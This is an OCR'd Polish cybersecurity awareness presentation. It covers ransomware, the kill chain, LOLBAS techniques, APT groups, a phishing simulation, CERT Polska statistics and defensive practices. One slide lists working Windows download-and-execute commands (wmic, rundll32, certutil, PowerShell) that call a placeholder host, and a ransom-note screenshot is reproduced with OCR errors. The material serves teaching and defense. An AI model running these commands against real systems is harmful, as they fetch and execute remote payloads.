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Your files will be lost on
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Time Left

About bitcoin
How to buy bitcoins?

Contact Us

Ooops, your files have been encrypted!

|What Happened to My Computer?

Your important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can rec your files without
our decryption service.

Can I Recover My Files?

Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.

'You can decrypt some of your files for free. Try now by clicking <Decry

But if you want to decrypt all your files, you need to pay

You only have 3 days to submit the payment. After that the price will be doubled.

Also, if you don’t pay in 7 days, you won't be able to recover your files forever.

'We will have free events for users who are so poor that they couldn’t pay in 6 months.

How Do I Pay?

Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>.
And send the correct amount to the address specified in this window.

Check Payment>. Best time to check: 9:00am - 11:00am

Send $300 worth of bitcoin to this address:

bitcoin |.

ACCEPTED HERE | 12t9YDPgwueZ9NyMgw519p7AABisjr6 SMw

heck Paymen

Privale oy well be chimitnoyed on
10f12/2003
15 AM

LE

68:28:10

Your personal files are encrypted!
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STAGES FOR CYBER KILL CHAIN:

RECONNAISSANCE WEAPONIZATION DELIVERY %

EXPLOITATION

ACTIONS COMMAND INSTALLATION
ON OBJECTIVES AND CONTROL
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> Bad USB - Rubber Ducky
> Hotplug - Shark Jack

> Network implant - Packet Squirrel




# LOLBIN / LOLBAS

& github.com/LOLBAS-Project/LOLBAS
:= README.md

Living Off The Land Binaries and Scripts (and nhow
also Libraries)

All the different files can be found behind a fancy frontend here: hitp: as-project.g 1.10 (thanks
@ConsciousHacker for this bit of eyecandy and the team over at hitps:/otf github.io/). This repo serves as a
place where we maintain the YML files that are used by the fancy frontend.

Goal

The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The
Land techniques.

Criteria

A LOLBIn/Lib/Script must:

« Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.

« Have extra "unexpected” functionality. It is not interesting to document intended use cases.
o Exceptions are application whitelisting bypasses

« Have functionality that would be useful to an APT or red team
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# LOLBIN/LOLBAS

> Uruchamianie kodu

> Kompilowanie kodu

> Operacje na plikach (upload, download)
> Persistence (utrwalanie)

> Omijanie UAC

> /rzut pamiecil procesu

> Kradziez danych uwierzytelniajacych

> Omijanie / modyfikowanie dziennikéw systemowych

11



@ lolbas-project.github.io a < % (5 € > C t @& githubcom,

README.md
17 Star 6,182

Sigma - Generic Sighature Format for SIEM Systems

Living Off The Land Binaries, Scripts and
Libraries

For more info on the project, click on the logo.
If you want to , check out our . our =

out what we define as a LOLBin/Script/Lib. More information on I a
programmatically accesssing this project can be found on the ; I I l
MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE

Corporation. You can see the current ATT&CK® mapping of this project on the

Te igma |Official -
If you are looking for UNIX binaries, please visit Osgrariees Il O s ENSE, ENTEE

If you are looking for drivers, please visit . ’
y g p Opensours scuttyndex

Welcome to the Sigma main rule repository. The place where detection engineers, threat hunters and all defensive
security practitioners collaborate on detection rules. The repository offers more than 3000 detection rules of different

Functions Type ::If:\ci:u@es type and aims to make reliable detections accessible to all at no cost.

Bliaries Currently the repository offers three types of rules:

e . - Are threat agnostic, their aim s to detect a behavior or an implementation of a
technique or procedure that was, can or wil be used by a potential threat actor.

b . - Are broader in scope and are meant to give the analyst a starting point to hunt for
potential suspicious or malicious activity

e 5 - Are rules that cover specific threats, that are timely and relevant for certain periods of
time. These threats include specific APT of Zero-Day specific malware

Binaries used during an attack,...etc.

https://github.com/SigmaHQ/sigma

Grzegorz Tworek &

in my favorite built-in tool ? | am seriously disappointed now. @
Requires Windows 11, as it's related to a new set of features related to
"fsutil trace" command

Tag: LOLBin

c:\Temp\fsutil>dir

Volume in drive C has no label
Volume Serial Number is 1297-U47FB

Testujemy nowy LOLBin na Windows -

Ipremove.exe \ m s Directory of c:\Temp\fsutil
i i a2 2023-11-64 99:42 <DIR>
2023-11-64 09:42 <DIR> o
2022-03-14 08:82 121,872 netsh.exe
.’.‘,";E::;:TL;‘:“:,E:;}C; 1 File(s) 121,872 bytes
VG T ey 2 pir(s) 745,339,490,364 bytes free
Uruchamianie malware za pomoca
whbudowanego w Windows narzedzia do : :
modyfikacji ustawien sieciowych netsh.exe i c:\Temp\fsutil>fsutil trace decode
¢ pemtrberd e TraceFile = C:\PerflLogs\Admin\Fsutil_NtfsTrace.etl
PWNED!
cay clam” znacay zawsze to c:\Temp\fsutils|

Mocno sie zdziwisz - az siedem nowych
LOLBin6éw. Pokazujemy, co mozesz uruchomi¢ w
systemie za ich pomocs. gy Co sie disje u twércy ChatGPT

https://kapitanhack.pl https://twitter.com/Ogtweet




# LOLBIN/LOLBAS - PRZYKLAD - POBRANIE PLIKU

> 11047

wmic process get brief /format:"http://10.20.30.40/Wmic_calc.xsl"

> T1085

rundll132.exe javascript:"\..\mshtml,RunHTMLApplication";

document.write();GetObject("script:http://10.20.30.40/PLIK")
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# LOLBIN/LOLBAS - PRZYKLAD - POBRANIE PLIKU

> T1130

certutil.exe -urlcache -split -f http://10.20.30.40/test.txt test.txt

> T1086
powershell -c "(New-Object

Net.WebClient).DownloadFile( 'http://10.20.30.40/Test.txt', 'File.psl');

14



# ZNANE GRUPY APT
> Wizard Spider
> Sandworm

> Carbanak

\Y

FIN7
> APT28, APT29
> APT3

> Turla (2023)
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# WNIOSKI

> Duza ilos¢ technik ofensywnych (MITRE)

> Duza ilos¢ projektédw wyszukujacych 1 katalogujacych techniki
LOLBIN/LOLBAS

> Duza ilos¢ zaawansowanych grup APT

> tatwos¢ w dotarciu do powyzszych danych

> tatwos¢ w korzystaniu z narzedzi 1 wiedzy
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pracownicy socjotechnika
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# TESTY SOCJOTECHNICZNE

LELRERLIL,

SPOOFING - SPEAR PHISHING - PHISHING
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Gratulacje!

Tworzenie: Certyfikat ukonczenia szkolenia — Thunderbird - O

Nadawca  Centrum Certyfikacyjne SoSafe <elearning@so-safe.pl> Kopia  Ukryta kopia
Do |

Temat Certyfikat ukonczenia szkolenia

+
®  Certyfikat -

Swiadomosé cyberbezpieczenstwa

Ukonczytes szkolenie w platformie glearningowej SoSafe.

Aby otrzymac swoj certyfikat, kliknij ponizej i podaj nam adres wysytki.

Odbierz certyfikat

() sosafe

<« > C @

O 6t

g.so-safe.pl/cert ery.htm! 3d

Odbierz certyfikat

Podaj adres dla przesylki ze swoim
certyfikatem.

Dostarczymy go tobie za posrednictwem
naszego partnera:

=Y 7/

M o o iy =

Dane odbiorcy:

Ulica i numer domu/mieszkania:

Kod pocztowy:

Nazwa miejscowosci:
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DATA GODZINA ADRES IP IMIE NAZWISKO I ADRES

2023-06-19 18:30:18
2023-06-20 06:07:17
2023-06-20 06:40:30
2023-06-20 07:01:58
2023-06-20 07:04:56

2023-06-20 07:34:42

2023-06-20 07:57:36
2023-06-20 08:24:15
2023-06-20 09:31:04
2023-06-20 14:56:18
2023-06-20 19:36:09
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Gen. Karol Molenda: ,,od inwazji Rosji na Ukraine w Polsce nastapit 5-
krotny wzrost prob wrogich cyberatakéow. Najbardziej aktywni byli hakerzy
powigzani ze Stuzba Wywiadu Wojskowego (GRU). Odnotowano ataki grupy
APT28/Fancy Bear. Atakujacy siegali po stealery, czyli ztosSliwe
oprogramowanie majace na celu pozyskanie danych uwierzytelniajacych z
przegladarek komputerowych. Stosowano metody atakéw typu brute-force oraz
password-spraying. Atakujacymi kierowata chec¢ zaktécenia dostaw na

Ukraine poprzez uderzenie w podmioty odpowiedzialne za logistyke

(publiczne 1 prywatne).” 21




# RAPORT CERT 2024
Do CERT Polska w NASK wptyneto az 371 089 zgtoszen. Na ich podstawie

zarejestrowano 80 267 unikalnych incydentéw - ponad dwa razy wiecej, niz

rok wczesniej. NajczesSciej rejestrowanym cyberoszustwem jest wciaz

phishing. Zarejestrowano 41 423 ataki tego typu (blisko 52 proc.
wszystkich incydentéw).

Najpopularniejsze kampanie phishingowe wykorzystywaty wizerunek serwisu
aukcyjnego Allegro (11 161 przypadkow), serwisu spotecznosSciowego

Facebook (5 308 przypadkoéw) i1 serwisu sprzedazowego OLX (4753 przypadki).
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# NARZEDZIA DOSTARCZANE PRZEZ CERT

> 7gto$ incydent: https://incydent.cert.pl

> 7Zgtoszenia podejrzanych SMS-é6w na nr 8080

>0d 16 kwietnia 2024 operatorzy GSM maja obowiazek blokowania SMS-ow
wedtug wzorcédw dostarczanych przez CERT

> Black lista podejrzanych domen: https://cert.pl/lista-ostrzezen/

> https://moje.cert.pl

24



# PRZYDATNE SYSTEMY BEZPIECZENSTWA

>

EDR, XDR, IPS/IDS, SANDBOX, SIEM

Detekcja zaawansowanych atakéw 1 ztozonych incydentéow
Detekcja na réznych etapach kill-chain

Swiadomo$¢ kontekstu

Mozliwosci analityczne

Wsparcie w reakcji na incydent

Ograniczenie dalszej eskalacji

25



# DOBRE PRAKTYKI BEZPIECZENSTWA

>

>

\Y

Analiza ryzyka

Obstuga incydentéw bezpieczenstwa

Zarzadzanie uprawnieniami / minimalizacja uprawnien
Zarzadzanie podatnosciami

Zarzadzanie aktualizacjami

Monitorowanie

Backupy (ale nie Schrodingera)

Segmentacja siecil

Szkolenia security awareness

26



# DZIEKUJE ZA UWAGE

# Pytania?
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